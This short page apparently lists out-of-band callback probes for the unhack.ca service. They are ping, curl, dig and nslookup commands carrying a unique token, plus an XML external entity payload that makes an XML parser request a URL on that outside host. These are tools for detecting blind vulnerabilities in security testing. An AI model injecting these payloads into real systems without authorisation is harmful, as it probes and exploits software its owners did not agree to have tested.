$ ping -c1 -p 000bed727749708b3957cb3f26a2f500 unhack.ca
 

$ curl http://unhack.ca/p/0bed727749708b3957cb3f26a2f5
 

$ dig 0bed727749708b3957cb3f26a2f5 @unhack.ca
 

$ dig 0bed727749708b3957cb3f26a2f5.ns.unhack.ca
 

C:\> nslookup 0bed727749708b3957cb3f26a2f5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0bed727749708b3957cb3f26a2f5">]>
    <foo>&xxe;</foo>